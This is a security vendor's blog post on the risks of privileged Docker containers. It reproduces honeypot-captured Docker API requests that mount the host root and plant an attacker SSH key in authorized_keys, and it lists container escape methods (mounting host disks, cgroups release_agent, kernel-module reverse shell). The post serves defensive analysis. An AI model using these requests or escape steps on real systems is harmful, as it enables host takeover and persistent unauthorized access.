Why A Privileged Container in Docker Is a Bad Idea

By By: David Fiser, Alfredo Oliveira Dec 20, 2019 Read time: 7 min (1974 words)

Published: 2019-12-20 · Archived: 2026-04-05 17:44:59 UTC

Privileged containers in Docker are, concisely put, containers that have all of the root capabilities of a host machine, allowing the ability to access resources which are not accessible in ordinary containers. One use case of a privileged container is running a Docker daemon inside a Docker container; another is where the container requires direct hardware access. Originally, Docker-in-Docker was introduced for the development of Docker itself. Today, there are various use cases for running privileged containers, such as automating continuous integration and delivery (CI/CD) tasks in the open-source automation server Jenkins. However, running privileged containers are not necessarily secure. In this blog post, we will explore how running a privileged yet unsecure container may allow cybercriminals to gain a backdoor in an organization's system.

The problems with privileged containers

Generally, Docker-in-Docker is used when there is a need to spawn another container while running an existing container. However, there are some serious implications to using privileged containers without securing them.

Running a container with privileged flag allows internal teams to have critical access to the host's resources — but by abusing a privileged container, cybercriminals can gain access to them as well. When an attacker abuses a privileged container for an attack, it does not necessarily entail remote code execution. But when they do execute code, the potential attack surface is wide. . As the privileged container is spawned because of the need for enhanced permissions, there is a large chance that an attacker will be able to run code as root. This implies that an attacker will be able to run full host root with all of the available capabilities, including CAP_SYS_ADMIN. It's notable to mention that other isolation techniques such as cgroups, AppArmor, and SECcomp are renounced or disabled.

For malicious actors who gain access to exposed privileged containers, the possibilities for abuse are seemingly endless. Attackers can identify software running on the host to find and exploit vulnerabilities. They can also exploit container software vulnerabilities or misconfigurations, such as containers with weak credentials or no authentication. Because an attacker has root access, malicious code or coin miners can be executed and effectively hidden.

Keeping containers isolated

A container, which contains an application's fundamental components, is essentially an isolated environment. To be able to isolate multiple processes running inside a single host, the container engine uses various kernel features. Since Docker containers run on top of a Linux environment, resource isolation features of the Linux kernel are used for them to run independently. One of these is called Linux namespaces. Table 1 shows the types of namespaces.

Namespace	Use
MNT (Mount)	Manages file system mount points
PID (Process)	Isolates processes
NET (Network)	Manages network interfaces
IPC (Inter-process communication)	Manages access to IPC resources
UTS (Host name)	Isolates kernel and version identifiers
CGROUPS	Limits, isolates, and measures resource usage of several processes
User ID (User)	Provides privilege isolation and user identification segregation

Table 1. Types of Linux namespaces

By default, a Docker daemon, as well as a container process, runs with root permission. Creating another user and lowering permissions are still possible and are highly recommended from a security perspective.

In the case of privileged containers, having root access inside the container also means having root access in the host. It should be noted, though, that the container process has a limited set of capabilities by default, as detailed in Table 2. However, privileged containers have all capabilities.

Capability	Permitted Operation
CAP_AUDIT_WRITE	Write records to the kernel's auditing log
CAP_CHOWN (Change owner)	Make arbitrary changes to file UIDs and GIDs; change the owner and group of files, directories, and links
CAP_DAC_OVERRIDE (Discretionary access control)	Bypass a file's read, write, and execute permission checks
CAP_FOWNER	Bypass permission checks on operations that normally require the file system UID of the process to match the UID of the file, excluding checks which are covered by CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH
CAP_FSETID	Will not clear set-user-ID and set-group-ID mode bits even when a file is changed
CAP_KILL	Bypass permission checks for sending signals
CAP_MKNOD	Create special files
CAP_NET_BIND_SERVICE	Bind a socket to internet domain privileged ports (port numbers below 1024)

CAP_NET_RAW	Use RAW and PACKET sockets and binds to any address for transparent proxying
CAP_SETGID	Make arbitrary manipulations of process GIDs and supplementary GID list
CAP_SETPCAP	If file capabilities are supported (i.e., since Linux 2.6.24): add any capability from the calling thread's bounding set to its inheritable set; drop capabilities from the bounding set; make changes to the secure bits flags. If file capabilities are not supported (i.e., kernels before Linux 2.6.24): grant or remove any capability in the caller's permitted capability set to or from any other process
CAP_SETUID	Make arbitrary manipulations of process UIDs, forge UID when passing socket credentials via UNIX domain sockets, and write a user ID mapping in a user namespace
CAP_SYS_CHROOT	Use chroot and changes namespaces using setns.

Table 2. Capabilities of a container run as root

For better security, Docker provides an option to run a container process under non-root user, using a USER directive inside a Dockerfile. It should be noted that it is not using **user namespaces**, which allow the separation of the host's root user and the container's root user, by default. User namespaces can be configured in the Docker daemon and may be used for many situations where root access would otherwise be needed. See Figure 1 and note the numbers inside the square brackets.

```
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
1d1e90a73a5b        user-test           "/bin/bash"         33 seconds ago      Up 32 seconds                           admiring_chandrasekhar
096c3c282ad0        ubuntu              "/bin/sh"           4 days ago          Up 4 days                               boring_goldberg
parallels@parallels-Parallels-Virtual-Platform:~/gotest/cnt_root/home/tests$ sudo docker inspect 1d1 | grep Pid
            "Pid": 5042,
            "PidMode": "",
            "PidsLimit": 0,
parallels@parallels-Parallels-Virtual-Platform:~/gotest/cnt_root/home/tests$ sudo ls -l /proc/5042/ns
total 0
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 ipc -> 'ipc:[4026532666]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 mnt -> 'mnt:[4026532664]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:26 net -> 'net:[4026532669]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 pid -> 'pid:[4026532667]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 pid_for_children -> 'pid:[4026532667]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 user -> 'user:[4026531837]'
lrwxrwxrwx 1 999 docker 0 Sep  9 15:27 uts -> 'uts:[4026532665]'
parallels@parallels-Parallels-Virtual-Platform:~/gotest/cnt_root/home/tests$ ls -l /proc/self/ns
total 0
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 cgroup -> 'cgroup:[4026531835]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 ipc -> 'ipc:[4026531839]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 mnt -> 'mnt:[4026531840]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 net -> 'net:[4026531993]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 pid -> 'pid:[4026531836]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 pid_for_children -> 'pid:[4026531836]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 user -> 'user:[4026531837]'
lrwxrwxrwx 1 parallels parallels 0 Sep  9 15:28 uts -> 'uts:[4026531838]'
```

Figure 1. Screen capture that shows that user namespaces are not used by default

Hence, Docker does not use user namespaces until it is otherwise explicitly specified by the --userns-remap flag.

Inside the user namespace, the process can be granted with full operations privileges, but outside the user namespace, the process is not. This means that outside a user namespace, a process can have an unprivileged user ID, while inside it, it can have a user ID of 0.

This means that even if a process is running inside a new user namespace with **CAP_SYS_ADMIN** available and the action taken requires elevated privileges, for example, installing a kernel module, then a parent user namespace — which does not run under root user and does not have the required capability — is also checked for the required privilege. If it is not found, then the whole action is denied.

It should be noted that while --userns-remap provides security enhancement, it is not the same as **rootless docker**, which is still an experimental feature at the time of writing. The Docker daemon, a parent container process, still runs under root.

Attacks using privileged containers

With the capabilities of privileged containers, attackers can spawn them to try and gain root access to a user's host environment.

Recently we saw malicious activity in one of our honeypots showing attackers attempting to put their own SSH public keys inside the host's **/root/authorized_keys** via their spawned privileged container.

```
POST /v1.39/containers/create?name=ubuntu15 HTTP/1.1
Host:              :2375
User-Agent: Docker-Client/18.09.2 (darwin)
Content-Length: 1468
Content-Type: application/json

{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"Tty":true,"OpenStdin":true,"StdinOnce":false,"Env":[],"Cmd":null,"Image":"busybox","Volumes":
{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"host","PortBindings":
{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"Dns":[],"DnsOptions":[],"DnsSearch":
[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":
0,"PidMode":"","Privileged":true,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":
0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":
0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DiskQuota":0,"KernelMemory":0,"MemoryReservation":0,"MemorySwap":
0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":
{"EndpointsConfig":{}}}
POST /v1.39/containers/9e7320609f27f4db0cc312cec74c3beb64f2065905464cdd011758be2cf69715/wait?condition=next-exit HTTP/1.1
Host:              :2375
User-Agent: Docker-Client/18.09.2 (darwin)
Content-Length: 0
Content-Type: text/plain
```

Figure 2. Screen capture of a maliciously spawned privileged container's code

Upon further analysis, we discovered that the container the attackers spawned used the "**/mnt"** bind to attempt to bind it to the host root **"/"**. After which, we observed that the following commands were executed:

- "Cmd":["sh","-c","mkdir -pv /mnt/root/; mkdir -pv /mnt/root/.ssh/; ls -ld /mnt/root/.ssh/; chattr -i -a /mnt/root/.ssh/ /mnt/root/.ssh/authorized_keys"]
- Remove immutable attributes and append those that are from the **/mnt/root/.ssh** and **/mnt/root/.ssh/authorized_keys**

```
POST /v1.39/containers/ubuntu15/exec HTTP/1.1
Host:              :2375
User-Agent: Docker-Client/18.09.2 (darwin)
Content-Length: 313
Content-Type: application/json

{"User":"","Privileged":false,"Tty":false,"AttachStdin":true,"AttachStderr":true,"AttachStdout":true,"Detach":false,"DetachKeys":"","Env":null,"WorkingDir":"","Cmd":["sh","-c","mkdir -pv /mnt/root/; mkdir -
pv /mnt/root/.ssh/; ls -ld /mnt/root/.ssh/; chattr -i -a /mnt/root/.ssh/ /mnt/root/.ssh/authorized_keys"]}
```

Figure 3. Screen capture showing the commands executed in the spawned privileged container

It should be noted that while the code in Figure 3 shows "Privileged: false," because the new process is executed within the privileged container context, its capabilities match those of a previously spawned privileged container. Based on our analysis, the **"/","/mnt/root"** bind is equivalent to **-v /:/mnt/root** inside Docker CLI and the host's file system is accessible.

The attackers also tried to overwrite the authorized_keys file in SSH, as we can see from the API request shown in Figure 4.

```
PUT /v1.39/containers/ubuntu15/archive?noOverwriteDirNonDir=true&path=%2Fmnt%2Froot%2F.ssh HTTP/1.1
Host:              :2375
User-Agent: Docker-Client/18.09.2 (darwin)
Transfer-Encoding: chunked
Content-Type: text/plain

authorized_keys.....................................................................
0.....................................................................
0000000.0000000.....................................................................
AAAAB3NzaC1yc2EAAAADAQABAAABAQDvJvNNOFg4C9j2oys9kXcmJhnZIY2RSu3BA2RIuQbt8ahRmPqYIoAOoXUzKEuYUQWuDxGl
sQNij7txpA79LQItbGrRsFIu5o23Xx7HKR0ZD9BN+sxJPCnfQMJcHpqp4TU0ov9VVkWhzhsjlTcA0H2yNjDHq0KsPofCykp012Ui
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
```

Figure 4. Screen capture of attempts to overwrite the authorized_keys

Through these examples, it's apparent that despite the innate isolation, there are situations wherein cybercriminals can escape the isolated containers and gain access to the host machine's resources and make the user's infrastructure open to attacks.

Docker's --privileged flag effectively disables all isolation features. The containers may have different PID and MNT namespaces as well as cgroups profiles applied. But with the --privileged flag running on a Docker container, a user — and inadvertently, an attacker — has access to the hard drives attached to the host.

The --privileged flag, together with root access, gives an attacker plenty of options on how to escape a "jailed" environment:

- Mounting /dev/sda1 or a similar equivalent, allowing access to the host storage unit
  - ls –la /dev/
  - mkdir /hdd & mount /dev/sda1 /hdd
- Using **cgroups notify_on_release** and **release_agent** to spawn a shell within the host root
- Deploying a custom kernel module, with persistence on the host (e.g., reverse shell)

Security recommendations for privileged Docker containers

Interestingly, Tõnis Tiigi described an experimental rootless Docker mode that aims to allow users to run Docker daemon without needing to have root privileges. Through the rootless mode, even if cybercriminals are able to infiltrate the Docker daemon and containers, they will not have root access to the host.

Being in its early stages, the rootless mode does not support the complete Docker suite of features. Currently, the following are not supported:

- Cgroups (including docker top, which depends on the cgroups)
- AppArmor
- Checkpoint
- Overlay network
- Exposing SCTP ports

However, the rootless mode should be sufficient for many use cases that are unlikely to use these features, including builds in Jenkins.

Containers are helpful for organizations who want to keep up with ever-increasing organizational demands. As more and more businesses adopt the use of containers, more and more cybercriminals are banking on security gaps in such useful tools to advance their nefarious agenda.

Though there is indeed a legitimate use for privileged containers, developers should exercise caution and restraint in using them. After all, privileged containers can be used as entry points for attacks and to spread malicious code or malware to compromised hosts.

However, this doesn't mean that privileged containers should absolutely not be used. Organizations just need to make sure that safeguards are set in place when running such containers in their environments.

Here are some security recommendations for using privileged containers:

1. Implement the principle of least privilege. Access to critical components like the daemon service that helps run containers should be restricted. Network connections should also be encrypted.
2. Containers should be configured so that access is granted only to trusted sources, which includes the internal network. This includes implementing proper authentication procedures for the containers themselves.
3. Follow recommended best practices. Docker provides a comprehensive list of best practices and has built-in security features professionals can take advantage of, such as configuring Linux hosts to work better with Docker via post-installation.
4. Carefully assess needs. Does the use case absolutely have to run in Docker? Are there other container engines that do not run with root access and can do the job as effectively? Can it be done differently? Do you accept the risks associated with this need?
5. Security audits should be performed at regular intervals to check for any suspicious containers and images.

Trend Micro helps DevOps teams to build securely, ship fast, and run anywhere. The Trend Micro™ Hybrid Cloud Security solution provides powerful, streamlined, and automated security within the organization’s DevOps pipeline and delivers multiple XGen™ threat defense techniques for protecting runtime physical, virtual, and cloud workloads.

It also adds protection for containers via the Trend Micro Deep Security™ solution, which has a Container Control feature which allows users to run containers based on parameters that users will configure. Additionally, Deep Security Smart Check scans Docker container images for malware and vulnerabilities at any interval in the development pipeline to prevent threats before they are deployed.
